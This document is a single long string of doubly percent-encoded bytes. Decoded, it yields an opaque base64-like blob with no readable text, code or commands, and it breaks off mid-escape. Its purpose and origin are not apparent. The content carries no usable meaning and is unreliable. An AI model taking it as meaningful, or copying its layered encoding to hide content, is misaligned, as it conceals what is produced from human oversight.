%36%64%25%33%38%25%33%34%25%34%39%25%36%32%25%35%34%25%33%39%25%37%37%25%36%39%25%34%36%25%36%33%25%35%61%25%37%32%25%36%34%25%36%37%25%36%38%25%37%31%25%33%33%25%35%36%25%35%32%25%36%38%25%33%39%25%36%36%25%33%34%25%33%38%25%34%34%25%36%38%25%35%38%25%33%38%25%37%30%25%36%31%25%37%32%25%35%32%25%35%39%25%37%32%25%34%33%25%37%33%25%34%35%25%37%37%25%36%38%25%36%65%25%37%39%25%33%38%25%34%34%25%34%34%25%37%61%25%37%39%25%36%32%25%35%38%25%33%34%25%33%33%25%35%35%25%33%36%25%37%37%25%35%34%25%32%66%25%33%36%25%36%63%25%37%35%25%34%37%25%37%36%25%36%32%25%37%37%25%36%33%25%33%32%25%32%66%25%34%62%25%34%66%25%35%39%25%33%39%25%33%31%25%34%65%25%33%33%25%34%64%25%37%39%25%35%37%25%34%31%25%35%61%25%33%35%25%37%30%25%35%30%25%36%39%25%34%39%25%34%36%25%35%37%25%34%66%25%35%38%25%34%32%25%36%63%25%33%33%25%34%61%25%34%38%25%36%34%25%36%65%25%36%37%25%34%31%25%36%37%25%37%38%25%36%35%25%36%65%25%34%38%25%34%38%25%33%39%25%33%34%25%35%34%25%36%39%25%37%35%25%34%39%25%35%61%25%32%66%25%34%36%25%36%39%25%33%37%25%35%39%25%37%34%25%34%63%25%36%34%25%33%33%25%35%37%25%36%33%25%36%61%25%35%30%25%34%63%25%34%36%25%36%36%25%34%35%25%34%62%25%37%34%25%37%39%25%35%32%25%34%34%25%33%35%25%36%32%25%33%33%25%33%37%25%34%38%25%37%61%25%36%65%25%33%39%25%34%63%25%35%33%25%34%37%25%37%61%25%34%65%25%37%35%25%34%35%25%37%33%25%36%63%25%35%33%25%36%36%25%37%32%25%37%32%25%34%64%25%34%32%25%37%39%25%33%38%25%37%36%25%37%31%25%35%30%25%36%63%25%33%32%25%37%32%25%37%31%25%35%37%25%37%30%25%35%39%25%36%63%25%34%65%25%36%38%25%36%62%25%37%39%25%35%34%25%35%34%25%36%64%25%35%36%25%33%35%25%37%32%25%36%33%25%37%30%25%35%31%25%37%34%25%34%65%25%35%34%25%36%64%25%36%66%25%33%32%25%33%32%25%33%31%25%33%34%25%37%30%25%37%31%25%35%30%25%33%39%25%33%34%25%35%34%25%37%36%25%33%39%25%33%34%25%33%38%25%34%34%25%33%34%25%36%66%25%37%33%25%33%32%25%37%34%25%34%34%25%33%39%25%37%33%25%37%61%25%37%36%25%36%38%25%37%36%25%36%63%25%34%65%25%35%36%25%34%61%25%37%30%25%33%35%25%36%31%25%35%38%25%34%63%25%33%32%25%33%38%25%36%63%25%33%37%25%36%38%25%37%32%25%35%61%25%33%37%25%36%32%25%37%39%25%32%66%25%37%31%25%33%38%25%33%35%25%37%37%25%36%31%25%37%30%25%36%31%25%36%32%25%33%38%25%37%38%25%36%63%25%35%31%25%33%38%25%36%37%25%37%38%25%32%66%25%32%62%25%32%66%25%34%63%25%36%64%25%36%64%25%33%35%25%34%65%25%37%32%25%36%65%25%34%38%25%33%39%25%35%31%25%37%35%25%36%36%25%34%34%25%35%32%25%34%38%25%35%33%25%34%65%25%33%38%25%36%36%25%34%63%25%35%30%25%37%38%25%35%38%25%36%35%25%37%32%25%34%32%25%37%38%25%34%38%25%35%36%25%34%62%25%32%62%25%36%38%25%34%35%25%34%63%25%33%33%25%37%31%25%35%35%25%33%33%25%34%33%25%36%31%25%37%37%25%36%35%25%35%39%25%33%34%25%35%61%25%33%35%25%36%65%25%34%36%25%36%63%25%37%31%25%35%39%25%33%37%25%35%37%25%36%66%25%35%39%25%33%35%25%36%37%25%37%35%25%35%61%25%34%34%25%33%36%25%36%34%25%36%63%25%36%35%25%37%61%25%33%35%25%36%66%25%32%66%25%36%39%25%34%31%25%36%32%25%33%37%25%36%35%25%37%39%25%37%30%25%36%63%25%36%33%25%34%31%25%33%38%25%34%62%25%35%35%25%35%32%25%35%30%25%36%64%25%34%66%25%37%61%25%34%64%25%35%34%25%36%61%25%35%37%25%34%33%25%33%38%25%34%39%25%35%32%25%35%36%25%33%32%25%36%34%25%34%66%25%37%61%25%35%30%25%35%61%25%37%33%25%33%32%25%34%37%25%32%62%25%36%61%25%37%34%25%34%37%25%37%31%25%35%38%25%37%31%25%35%38%25%35%32%25%37%32%25%36%61%25%36%38%25%35%38%25%37%34%25%37%35%25%34%32%25%34%39%25%37%38%25%35%61%25%37%35%25%33%30%25%35%33%25%36%31%25%37%38%25%37%32%25%33%35%25%36%62%25%36%36%25%35%31%25%36%65%25%33%38%25%33%37%25%37%36%25%36%66%25%33%34%25%33%36%25%37%35%25%35%39%25%36%35%25%34%36%25%35%34%25%34%36%25%32%62%25%37%33%25%36%39%25%34%66%25%34%34%25%37%30%25%33%32%25%33%38%25%34%64%25%36%34%25%37%30%25%36%39%25%35%32%25%34%39%25%34%65%25%37%61%25%33%36%25%32%66%25%32%66%25%33%38%25%33%33%25%34%66%25%34%62%25%36%31%25%35%38%25%37%34%25%32%66%25%35%35%25%34%37%25%36%62%25%37%31%25%35%30%25%33%34%25%37%31%25%35%30%25%33%35%25%37%33%25%34%39%25%33%31%25%33%33%25%36%61%25%36%36%25%34%32%25%34%34%25%35%34%25%34%34%25%35%38%25%33%38%25%36%39%25%36%61%25%35%31%25%33%32%25%33%32%25%37%30%25%37%33%25%36%33%25%34%38%25%33%32%25%37%61%25%35%30%25%34%39%25%36%39%25%37%32%25%34%35%25%36%33%25%36%38%25%34%64%25%34%38%25%32%62%25%36%66%25%37%36%25%33%33%25%34%39%25%32%62%25%37%61%25%36%62%25%33%32%25%32%66%25%37%36%25%33%30%25%36%62%25%34%36%25%34%32%25%33%33%25%37%39%25%34%32%25%36%62%25%34%65%25%34%34%25%36%31%25%34%63%25%35%31%25%35%61%25%35%32%25%36%38%25%36%36%25%34%35%25%33%35%25%35%38%25%37%34%25%37%34%25%34%62%25%34%38%25%34%62%25%34%66%25%33%39%25%34%61%25%34%36%25%34%63%25%33%34%25%37%31%25%33%34%25%35%31%25%33%37%25%34%62%25%36%63%25%37%36%25%33%32%25%34%33%25%37%34%25%37%33%25%35%33%25%37%39%25%35%36%25%34%66%25%33%32%25%34%65%25%37%31%25%36%36%25%32%66%25%33%35%25%36%32%25%36%34%25%34%37%25%37%36%25%32%66%25%36%35%25%36%62%25%33%30%25%34%35%25%37%30%25%35%33%25%33%37%25%35%32%25%34%66%25%35%33%25%37%33%25%34%63%25%34%35%25%34%64%25%37%39%25%35%32%25%34%64%25%37%35%25%33%30%25%36%39%25%34%62%25%35%61%25%37%33%25%33%36%25%35%38%25%35%31%25%35%34%25%33%31%25%37%36%25%34%33%25%35%32%25%34%33%25%36%33%25%34%31%25%34%64%25%34%61%25%35%38%25%34%63%25%35%61%25%36%36%25%34%65%25%34%35%25%33%35%25%36%66%25%37%37%25%37%33%25%33%38%25%34%31%25%34%63%25%36%34%25%37%39%25%33%33%25%34%36%25%36%35%25%34%38%25%37%30%25%35%61%25%34%64%25%32%62%25%37%34%25%34%64%25%35%31%25%36%39%25%36%33%25%34%64%25%36%33%25%36%34%25%37%36%25%35%30%25%33%34%25%34%37%25%37%61%25%36%62%25%35%30%25%36%39%25%36%62%25%35%34%25%35%61%25%35%33%25%33%37%25%36%37%25%34%35%25%33%39%25%37%31%25%36%38%25%37%39%25%32%62%25%36%36%25%37%36%25%33%32%25%34%64%25%34%64%25%36%38%25%35%31%25%36%34%25%34%64%25%36%33%25%35%34%25%33%31%25%33%32%25%34%34%25%37%38%25%34%64%25%33%38%25%33%31%25%37%37%25%37%30%25%37%38%25%33%32%25%36%64%25%33%39%25%35%37%25%34%35%25%34%35%25%36%33%25%34%62%25%34%39%25%36%33%25%36%66%25%35%34%25%33%31%25%34%66%25%37%37%25%36%62%25%34%32%25%37%37%25%33%38%25%33%34%25%34%32%25%37%31%25%32%66%25%33%34%25%36%64%25%36%36%25%36%33%25%34%36%25%34%66%25%34%35%25%34%62%25%37%38%25%34%35%25%34%66%25%34%63%25%32%66%25%35%30%25%36%65%25%36%36%25%36%32%25%36%36%25%35%32%25%35%30%25%36%32%25%36%66%25%34%35%25%33%31%25%34%65%25%35%38%25%36%65%25%37%36%25%36%39%25%33%31%25%33%31%25%36%64%25%34%37%25%37%35%25%35%30%25%32%62%25%34%61%25%37%61%25%36%63%25%35%34%25%36%31%25%34%64%25%35%61%25%33%32%25%33%36%25%33%39%25%34%65%25%35%30%25%34%36%25%36%36%25%36%36%25%36%38%25%34%64%25%36%62%25%36%62%25%36%62%25%36%37%25%36%37%25%37%31%25%35%35%25%33%39%25%33%30%25%34%63%25%35%37%25%35%34%25%36%39%25%33%37%25%37%33%25%37%35%25%37%32%25%32%66%25%34%62%25%35%33%25%36%31%25%36%64%25%33%31%25%33%35%25%35%38%25%33%35%25%36%36%25%37%37%25%33%32%25%37%31%25%34%63%25%35%34%25%36%63%25%33%30%25%36%35%25%34%35%25%33%34%25%33%33%25%36%37%25%33%36%25%37%34%25%33%35%25%35%33%25%33%37%25%33%39%25%37%31%25%37%35%25%35%32%25%33%32%25%36%63%25%37%36%25%37%35%25%36%62%25%37%31%25%36%63%25%36%61%25%37%39%25%32%62%25%35%34%25%35%35%25%37%32%25%36%31%25%33%31%25%36%34%25%37%30%25%35%39%25%37%61%25%33%37%25%34%32%25%33%33%25%34%31%25%37%31%25%35%33%25%36%39%25%36%64%25%34%33%25%36%36%25%33%38%25%36%32%25%35%36%25%34%34%25%36%62%25%34%62%25%34%34%25%37%61%25%36%32%25%37%38%25%36%35%25%37%36%25%35%35%25%34%34%25%37%31%25%33%35%25%36%31%25%33%33%25%37%30%25%37%37%25%34%32%25%37%33%25%36%33%25%36%31%25%33%38%25%36%38%25%35%36%25%36%38%25%34%34%25%37%39%25%37%39%25%35%30%25%35%36%25%34%36%25%36%35%25%34%39%25%36%33%25%35%30%25%34%38%25%34%38%25%36%35%25%36%65%25%34%61%25%34%63%25%35%37%25%36%61%25%36%64%25%34%39%25%33%33%25%35%35%25%36%36%25%36%34%25%35%33%25%34%62%25%34%65%25%37%34%25%37%30%25%34%38%25%37%31%25%36%32%25%35%34%25%36%64%25%37%34%25%36%39%25%36%61%25%36%36%25%36%37%25%37%39%25%36%35%25%34%31%25%35%61%25%36%35%25%35%36%25%34%62%25%37%30%25%35%61%25%35%37%25%35%38%25%37%32%25%35%61%25%32%66%25%35%36%25%34%32%25%35%36%25%33%30%25%33%37%25%34%61%25%36%39%25%37%32%25%34%38%25%36%39%25%35%34%25%36%38%25%36%37%25%37%33%25%32%62%25%36%37%25%36%63%25%35%61%25%37%37%25%37%35%25%34%33%25%37%36%25%35%34%25%34%32%25%33%35%25%35%37%25%36%61%25%33%36%25%34%37%25%35%37%25%36%32%25%37%30%25%33%38%25%35%34%25%37%36%25%33%38%25%37%31%25%34%39%25%34%32%25%37%37%25%33%38%25%34%62%25%33%34%25%36%36%25%34%62%25%32%66%25%36%34%25%34%35%25%34%64%25%33%38%25%37%38%25%36%34%25%34%61%25%36%65%25%34%37%25%35%34%25%37%38%25%35%39%25%36%34%25%33%39%25%36%37%25%35%61%25%34%34%25%37%37%25%33%32%25%36%38%25%33%30%25%37%38%25%36%32%25%35%36%25%33%33%25%35%30%25%33%30%25%36%39%25%34%32%25%36%61%25%36%31%25%37%36%25%37%34%25%34%64%25%35%31%25%35%39%25%34%65%25%34%36%25%37%30%25%36%65%25%34%32%25%33%35%25%37%33%25%32%62%25%33%34%25%37%37%25%35%34%25%37%61%25%35%37%25%36%65%25%34%34%25%34%65%25%35%37%25%36%61%25%33%32%25%36%33%25%32%62%25%36%34%25%32%66%25%33%32%25%33%37%25%37%33%25%36%36%25%34%34%25%37%32%25%37%32%25%37%37%25%35%61%25%37%61%25%32%66%25%32%66%25%32%66%25%34%62%25%37%31%25%33%39%25%36%34%25%36%62%25%34%32%25%34%31%25%34%34%25%37%34%25%37%61%25%36%63%25%33%33%25%36%34%25%36%39%25%36%33%25%34%61%25%33%30%25%37%35%25%34%38%25%37%33%25%33%37%25%37%33%25%34%34%25%33%33%25%34%64%25%36%65%25%35%35%25%33%34%25%35%35%25%36%38%25%37%32%25%36%32%25%37%34%25%33%32%25%37%31%25%37%30%25%33%34%25%33%35%25%36%36%25%35%33%25%35%35%25%36%32%25%34%36%25%34%62%25%34%37%25%36%61%25%33%37%25%36%64%25%34%37%25%34%36%25%33%31%25%35%33%25%33%33%25%34%34%25%36%62%25%33%32%25%34%61%25%33%31%25%34%33%25%37%61%25%35%30%25%37%38%25%37%35%25%36%36%25%35%31%25%36%38%25%34%38%25%32%62%25%34%64%25%33%35%25%34%35%25%37%33%25%36%39%25%34%36%25%33%33%25%37%30%25%36%35%25%33%38%25%32%62%25%37%37%25%37%33%25%37%38%25%33%37%25%34%34%25%35%37%25%36%38%25%37%39%25%33%35%25%37%36%25%32%66%25%36%66%25%33%33%25%33%38%25%34%33%25%36%65%25%34%63%25%36%36%25%36%37%25%35%30%25%35%34%25%34%34%25%36%37%25%36%63%25%36%36%25%33%33%25%36%38%25%37%39%25%34%36%25%35%33%25%34%34%25%36%31%25%37%34%25%36%63%25%36%33%25%37%61%25%34%65%25%35%38%25%36%39%25%35%38%25%34%33%25%34%65%25%34%36%25%37%31%25%36%64%25%34%31%25%33%39%25%36%33%25%33%39%25%34%39%25%37%30%25%35%34%25%34%65%25%34%31%25%36%39%25%35%38%25%36%34%25%33%34%25%36%35%25%35%61%25%34%36%25%34%39%25%35%38%25%36%62%25%37%35%25%34%33%25%35%36%25%34%63%25%35%32%25%36%39%25%35%32%25%36%61%25%33%35%25%35%35%25%36%62%25%36%33%25%33%32%25%36%66%25%36%31%25%33%35%25%35%38%25%33%31%25%35%32%25%33%30%25%32%62%25%34%33%25%34%31%25%33%38%25%35%39%25%36%65%25%34%31%25%35%38%25%37%34%25%37%35%25%34%39%25%34%64%25%36%35%25%35%61%25%34%32%25%35%31%25%36%64%25%33%32%25%37%31%25%34%62%25%34%37%25%34%37%25%37%37%25%37%31%25%36%36%25%36%64%25%33%34%25%34%38%25%34%39%25%37%33%25%36%65%25%35%33%25%36%62%25%35%61%25%34%65%25%34%34%25%37%61%25%36%38%25%37%39%25%34%34%25%33%37%25%33%32%25%35%36%25%37%30%25%35%35%25%37%39%25%37%38%25%34%66%25%36%32%25%34%64%25%35%37%25%36%32%25%36%34%25%34%39%25%34%61%25%34%36%25%33%36%25%33%30%25%36%32%25%36%61%25%36%31%25%34%38%25%35%30%25%35%32%25%37%33%25%36%62%25%37%33%25%36%31%25%36%61%25%34%63%25%36%65%25%34%39%25%37%38%25%33%34%25%36%66%25%36%62%25%34%31%25%37%61%25%36%62%25%36%33%25%37%31%25%34%61%25%34%36%25%33%36%25%36%66%25%36%65%25%36%35%25%36%61%25%33%39%25%35%37%25%32%66%25%33%31%25%35%37%25%37%37%25%36%65%25%33%32%25%37%61%25%36%34%25%37%34%25%34%66%25%33%36%25%33%36%25%34%39%25%33%33%25%32%62%25%34%63%25%34%62%25%34%65%25%32%62%25%37%61%25%36%34%25%36%63%25%35%38%25%36%64%25%33%35%25%36%35%25%33%30%25%34%64%25%36%61%25%33%36%25%33%39%25%35%34%25%33%37%25%36%32%25%37%31%25%34%36%25%36%66%25%32%66%25%37%31%25%37%33%25%34%64%25%36%37%25%37%37%25%37%32%25%37%35%25%34%34%25%33%35%25%34%32%25%34%63%25%33%33%25%34%35%25%34%33%25%35%33%25%37%39%25%36%34%25%36%62%25%35%36%25%35%36%25%36%34%25%36%65%25%32%62%25%35%61%25%35%39%25%34%33%25%37%61%25%37%32%25%37%32%25%33%38%25%37%38%25%34%38%25%37%32%25%34%66%25%32%66%25%37%61%25%34%63%25%36%64%25%34%33%25%34%64%25%36%66%25%34%62%25%37%38%25%32%62%25%36%31%25%36%66%25%35%31%25%36%34%25%37%32%25%37%30%25%36%63%25%34%36%25%36%35%25%37%39%25%37%36%25%35%39%25%37%38%25%32%66%25%36%62%25%37%30%25%33%34%25%33%35%25%34%38%25%35%32%25%36%61%25%33%39%25%34%31%25%34%39%25%33%31%25%33%32%25%36%37%25%34%35%25%33%37%25%37%61%25%37%39%25%34%61%25%36%38%25%34%32%25%35%31%25%33%32%25%37%34%25%37%31%25%32%62%25%33%30%25%32%66%25%35%31%25%33%39%25%37%32%25%32%66%25%34%38%25%33%32%25%35%35%25%36%35%25%36%61%25%37%36%25%33%30%25%33%32%25%36%65%25%36%61%25%36%35%25%33%30%25%34%61%25%34%37%25%33%32%25%37%36%25%33%35%25%37%36%25%36%63%25%34%66%25%33%33%25%32%66%25%35%37%25%36%38%25%34%61%25%36%62%25%33%30%25%35%39%25%36%62%25%34%65%25%34%35%25%35%31%25%36%61%25%33%30%25%36%34%25%36%37%25%35%31%25%35%30%25%35%39%25%35%36%25%36%62%25%35%39%25%34%66%25%34%61%25%35%31%25%34%61%25%37%31%25%34%61%25%33%38%25%36%32%25%34%63%25%34%37%25%34%65%25%34%37%25%34%39%25%34%36%25%35%39%25%35%33%25%35%31%25%37%39%25%37%38%25%34%35%25%35%35%25%35%35%25%36%33%25%36%38%25%37%30%25%34%66%25%34%32%25%34%37%25%34%38%25%36%32%25%36%36%25%36%63%25%37%38%25%36%37%25%36%62%25%32%62%25%35%31%25%36%39%25%34%61%25%37%34%25%36%37%25%33%38%25%36%62%25%35%39%25%35%35%25%36%36%25%37%33%25%36%38%25%36%39%25%36%63%25%34%39%25%35%34%25%34%61%25%34%66%25%34%66%25%33%32%25%34%37%25%33%32%25%35%39%25%37%37%25%35%61%25%33%32%25%33%36%25%36%66%25%34%65%25%36%39%25%35%30%25%34%35%25%36%62%25%36%32%25%33%32%25%34%36%25%36%31%25%36%31%25%35%31%25%34%61%25%33%33%25%34%66%25%34%33%25%34%31%25%34%66%25%34%39%25%37%39%25%36%37%25%36%38%25%36%31%25%35%33%25%35%31%25%34%66%25%33%33%25%34%32%25%37%38%25%34%33%25%34%39%25%37%31%25%33%38%25%35%61%25%34%32%25%35%31%25%33%34%25%36%61%25%35%39%25%36%39%25%35%30%25%34%33%25%34%66%25%36%33%25%35%34%25%36%66%25%34%61%25%33%32%25%33%33%25%37%38%25%37%33%25%34%63%25%36%62%25%36%65%25%37%39%25%35%39%25%36%34%25%34%65%25%37%32%25%33%37%25%36%65%25%36%35%25%34%64%25%36%39%25%35%39%25%35%35%25%35%61%25%37%37%25%34%35%25%34%35%25%36%34%25%35%32%25%34%37%25%36%65%25%36%65%25%33%34%25%36%32%25%35%39%25%35%34%25%37%33%25%35%33%25%34%62%25%35%33%25%37%32%25%36%36%25%33%35%25%34%38%25%34%63%25%33%37%25%35%39%25%35%31%25%34%37%25%35%35%25%37%32%25%34%34%25%35%38%25%35%32%25%33%33%25%36%61%25%34%35%25%34%38%25%33%33%25%35%38%25%35%31%25%35%33%25%35%31%25%34%31%25%35%39%25%33%37%25%37%34%25%37%32%25%34%66%25%34%65%25%36%61%25%33%35%25%36%33%25%37%34%25%37%31%25%36%36%25%36%38%25%36%38%25%33%37%25%33%39%25%36%31%25%34%31%25%36%34%25%34%32%25%34%31%25%37%38%25%37%33%25%36%66%25%34%32%25%32%62%25%36%39%25%34%37%25%35%34%25%32%66%25%34%64%25%37%36%25%34%36%25%34%66%25%32%66%25%37%37%25%37%61%25%34%36%25%33%31%25%36%64%25%36%39%25%36%61%25%35%34%25%34%65%25%36%32%25%36%35%25%37%39%25%37%31%25%36%37%25%36%37%25%33%34%25%37%36%25%33%32%25%36%65%25%35%33%25%37%34%25%37%36%25%34%31%25%35%61%25%34%64%25%35%61%25%34%35%25%36%61%25%35%61%25%34%35%25%34%36%25%33%32%25%34%39%25%36%37%25%35%32%25%36%65%25%34%66%25%37%35%25%33%35%25%36%35%25%34%39%25%36%62%25%33%35%25%33%37%25%34%62%25%35%61%25%33%33%25%36%36%25%34%32%25%37%33%25%36%35%25%36%62%25%36%33%25%37%31%25%34%37%25%35%34%25%34%66%25%34%65%25%32%66%25%34%64%25%33%35%25%36%63%25%33%38%25%33%31%25%33%39%25%36%32%25%37%34%25%33%36%25%36%34%25%34%35%25%36%34%25%34%39%25%35%34%25%36%39%25%35%32%25%32%62%25%35%39%25%36%37%25%36%34%25%33%39%25%35%33%25%36%37%25%37%61%25%36%36%25%36%34%25%35%32%25%35%35%25%36%61%25%34%38%25%37%37%25%36%38%25%36%62%25%37%31%25%37%34%25%34%62%25%36%34%25%35%61%25%32%62%25%34%37%25%35%32%25%35%39%25%36%65%25%37%33%25%35%39%25%37%39%25%35%38%25%34%62%25%34%35%25%33%33%25%35%32%25%33%31%25%33%33%25%33%30%25%35%30%25%35%39%25%33%33%25%33%39%25%37%33%25%35%38%25%36%62%25%33%30%25%37%35%25%35%35%25%36%36%25%34%34%25%32%66%25%34%34%25%33%31%25%32%66%25%35%33%25%34%36%25%35%38%25%36%62%25%36%38%25%33%33%25%32%66%25%34%35%25%36%37%25%36%38%25%36%62%25%35%31%25%37%35%25%36%32%25%35%39%25%37%37%25%34%34%25%35%61%25%37%36%25%37%30%25%32%66%25%36%61%25%37%33%25%34%39%25%32%62%25%37%61%25%35%35%25%36%62%25%34%64%25%36%34%25%36%65%25%32%66%25%37%37%25%34%64%25%36%32%25%36%39%25%37%36%25%33%39%25%32%62%25%36%66%25%36%64%25%34%35%25%34%39%25%33%37%25%34%39%25%34%32%25%37%30%25%33%33%25%35%39%25%35%36%25%34%66%25%37%38%25%36%39%25%37%61%25%34%65%25%34%38%25%33%37%25%34%38%25%35%36%25%36%64%25%34%33%25%36%32%25%33%33%25%33%30%25%36%36%25%35%38%25%33%38%25%37%33%25%35%39%25%37%36%25%33%36%25%37%32%25%37%36%25%33%32%25%37%32%25%36%62%25%34%31%25%32%62%25%34%34%25%35%35%25%34%31%25%33%32%25%34%39%25%36%38%25%35%31%25%36%35%25%36%65%25%33%38%25%36%36%25%34%64%25%37%32%25%36%37%25%34%62%25%36%37%25%34%38%25%33%38%25%36%38%25%34%64%25%36%36%25%36%39%25%34%63%25%34%31%25%36%66%25%34%33%25%35%38%25%37%35%25%35%39%25%34%39%25%37%37%25%34%32%25%37%37%25%34%66%25%34%37%25%34%38%25%34%64%25%34%37%25%34%62%25%35%39%25%35%31%25%36%31%25%37%32%25%36%39%25%34%63%25%37%30%25%33%38%25%35%38%25%36%66%25%33%37%25%34%62%25%35%34%25%34%63%25%34%36%25%36%38%25%34%33%25%36%31%25%36%65%25%33%38%25%34%39%25%36%36%25%35%30%25%34%64%25%32%62%25%37%38%25%34%37%25%36%39%25%37%38%25%34%35%25%35%33%25%33%31%25%35%39%25%37%61%25%36%63%25%37%31%25%36%39%25%35%35%25%37%36%25%36%35%25%34%63%25%34%64%25%36%33%25%36%38%25%36%62%25%35%34%25%34%34%25%37%35%25%34%34%25%35%39%25%34%63%25%37%30%25%35%37%25%33%31%25%32%62%25%36%33%25%36%64%25%33%33%25%35%39%25%34%39%25%35%36%25%36%36%25%36%39%25%36%61%25%36%31%25%35%37%25%33%34%25%34%39%25%34%31%25%34%38%25%34%32%25%36%66%25%36%37%25%35%37%25%36%32%25%34%34%25%33%36%25%34%35%25%34%65%25%37%30%25%34%31%25%32%62%25%35%37%25%35%38%25%34%32%25%33%39%25%33%35%25%35%39%25%37%33%25%33%34%25%36%35%25%36%62%25%35%36%25%36%37%25%35%38%25%37%61%25%36%66%25%33%31%25%37%33%25%34%66%25%36%32%25%36%63%25%34%61%25%35%36%25%37%35%25%34%31%25%34%32%25%34%31%25%37%61%25%37%37%25%35%61%25%34%33%25%34%64%25%35%61%25%35%31%25%36%66%25%35%36%25%33%38%25%34%65%25%37%37%25%36%35%25%35%37%25%36%32%25%37%61%25%34%35%25%36%32%25%35%31%25%35%30%25%35%38%25%35%31%25%33%30%25%37%33%25%32%62%25%32%66%25%32%66%25%33%32%25%37%34%25%37%61%25%36%62%25%33%37%25%36%64%25%37%39%25%37%34%25%34%39%25%35%34%25%37%36%25%35%39%25%32%66%25%34%66%25%34%61%25%35%61%25%35%34%25%35%34%25%37%30%25%36%39%25%33%39%25%36%36%25%37%34%25%34%61%25%37%61%25%37%38%25%35%61%25%33%30%25%36%38%25%37%39%25%34%32%25%33%34%25%34%62%25%37%31%25%36%62%25%37%32%25%34%33%25%34%66%25%35%34%25%36%66%25%34%37%25%34%36%25%36%32%25%37%30%25%33%34%25%37%37%25%35%39%25%36%65%25%33%34%25%35%37%25%34%32%25%37%30%25%36%38%25%33%32%25%34%65%25%34%63%25%35%30%25%37%33%25%37%32%25%36%31%25%35%37%25%33%33%25%34%63%25%36%62%25%34%32%25%37%37%25%34%37%25%34%39%25%37%36%25%33%30%25%36%35%25%36%35%25%37%36%25%34%38%25%32%62%25%32%62%25%35%61%25%34%32%25%35%31%25%35%37%25%36%61%25%36%66%25%33%31%25%34%65%25%35%30%25%35%31%25%34%39%25%34%37%25%35%30%25%34%32%25%37%33%25%34%35%25%35%33%25%34%39%25%33%38%25%35%37%25%34%35%25%33%32%25%35%38%25%33%37%25%37%33%25%35%30%25%35%30%25%34%62%25%35%36%25%37%38%25%35%38%25%37%31%25%34%64%25%32%62%25%33%32%25%36%66%25%34%33%25%34%37%25%36%64%25%32%66%25%35%32%25%37%39%25%34%63%25%34%63%25%33%38%25%37%38%25%34%61%25%36%62%25%36%64%25%33%35%25%37%38%25%36%66%25%36%38%25%35%34%25%33%34%25%36%63%25%37%35%25%33%33%25%37%38%25%37%37%25%37%39%25%33%35%25%36%32%25%36%61%25%32%62%25%34%64%25%33%38%25%33%34%25%37%31%25%36%61%25%36%32%25%36%62%25%35%34%25%36%37%25%34%35%25%37%37%25%35%31%25%33%34%25%35%32%25%37%34%25%34%65%25%37%37%25%34%38%25%36%33%25%34%39%25%36%65%25%34%65%25%37%31%25%36%65%25%37%33%25%34%36%25%32%66%25%36%34%25%35%30%25%36%38%25%35%61%25%36%64%25%33%39%25%37%30%25%36%32%25%34%32%25%35%38%25%36%63%25%34%64%25%34%64%25%34%62%25%34%31%25%34%34%25%36%35%25%37%31%25%35%31%25%34%31%25%32%66%25%35%39%25%37%33%25%34%33%25%33%35%25%36%36%25%35%37%25%36%31%25%34%64%25%37%30%25%36%63%25%35%36%25%36%35%25%36%37%25%37%34%25%36%64%25%37%33%25%33%39%25%37%61%25%37%34%25%34%64%25%37%31%25%34%32%25%34%39%25%33%38%25%37%34%25%36%33%25%37%37%25%34%36%25%37%35%25%35%32%25%37%31%25%35%61%25%32%66%25%35%39%25%36%39%25%34%39%25%33%36%25%34%32%25%36%63%25%35%32%25%37%39%25%34%66%25%34%62%25%33%31%25%37%33%25%34%32%25%36%39%25%35%61%25%36%36%25%34%38%25%37%38%25%34%61%25%34%33%25%33%32%25%35%30%25%35%33%25%34%61%25%36%65%25%34%63%25%35%39%25%34%35%25%36%33%25%34%34%25%36%38%25%34%66%25%33%31%25%37%37%25%36%66%25%34%62%25%35%33%25%35%38%25%36%35%25%35%33%25%35%37%25%35%34%25%37%30%25%34%31%25%32%66%25%37%61%25%36%33%25%36%63%25%37%31%25%37%34%25%34%32%25%33%36%25%37%36%25%34%64%25%34%38%25%35%35%25%34%38%25%33%35%25%34%34%25%36%65%25%35%38%25%37%33%25%35%30%25%36%37%25%34%64%25%33%31%25%36%39%25%35%34%25%37%33%25%36%38%25%33%38%25%36%37%25%35%38%25%37%61%25%34%37%25%37%32%25%34%35%25%33%39%25%36%36%25%35%30%25%33%39%25%33%35%25%35%34%25%37%33%25%33%32%25%34%65%25%36%62%25%37%39%25%35%39%25%35%34%25%36%35%25%35%34%25%35%31%25%34%62%25%33%32%25%34%32%25%37%39%25%34%33%25%33%36%25%36%62%25%36%38%25%35%37%25%37%36%25%36%31%25%33%30%25%36%39%25%37%33%25%32%62%25%34%65%25%34%66%25%36%64%25%35%31%25%34%33%25%36%64%25%35%33%25%37%34%25%36%38%25%34%34%25%33%35%25%37%38%25%34%61%25%36%32%25%33%32%25%36%34%25%36%62%25%36%62%25%33%36%25%34%37%25%34%36%25%33%38%25%35%33%25%35%36%25%33%30%25%36%66%25%36%32%25%35%37%25%37%34%25%34%65%25%36%36%25%37%38%25%36%32%25%36%35%25%33%35%25%35%31%25%34%31%25%34%37%25%36%38%25%34%34%25%37%37%25%33%38%25%35%34%25%34%62%25%33%38%25%34%31%25%34%34%25%37%31%25%37%36%25%35%37%25%34%38%25%36%61%25%36%31%25%34%37%25%34%61%25%35%33%25%37%34%25%36%37%25%34%32%25%33%31%25%36%65%25%37%38%25%36%61%25%36%63%25%34%65%25%34%36%25%33%30%25%36%65%25%35%33%25%37%32%25%35%39%25%36%31%25%34%62%25%34%31%25%35%31%25%36%66%25%34%31%25%36%62%25%32%62%25%35%33%25%36%36%25%34%66%25%33%32%25%34%62%25%35%61%25%33%39%25%36%37%25%36%61%25%36%61%25%34%38%25%37%61%25%35%31%25%34%37%25%35%30%25%36%61%25%35%33%25%37%38%25%33%34%25%37%33%25%34%39%25%32%62%25%35%34%25%35%32%25%34%63%25%36%38%25%32%62%25%37%61%25%34%38%25%33%38%25%34%35%25%35%30%25%37%38%25%36%35%25%37%31%25%36%36%25%33%36%25%35%34%25%35%38%25%32%62%25%34%63%25%34%33%25%37%38%25%33%30%25%34%32%25%36%63%25%36%61%25%35%37%25%35%37%25%35%36%25%36%36%25%33%36%25%37%34%25%36%37%25%33%37%25%35%37%25%34%37%25%36%32%25%34%62%25%36%36%25%36%34%25%37%34%25%34%66%25%34%39%25%34%64%25%33%31%25%37%34%25%36%66%25%37%33%25%36%31%25%33%30%25%36%62%25%37%39%25%33%39%25%37%33%25%34%38%25%32%66%25%34%34%25%35%38%25%36%66%25%34%31%25%33%33%25%36%31%25%37%61%25%36%39%25%33%35%25%36%66%25%35%30%25%33%38%25%34%38%25%36%64%25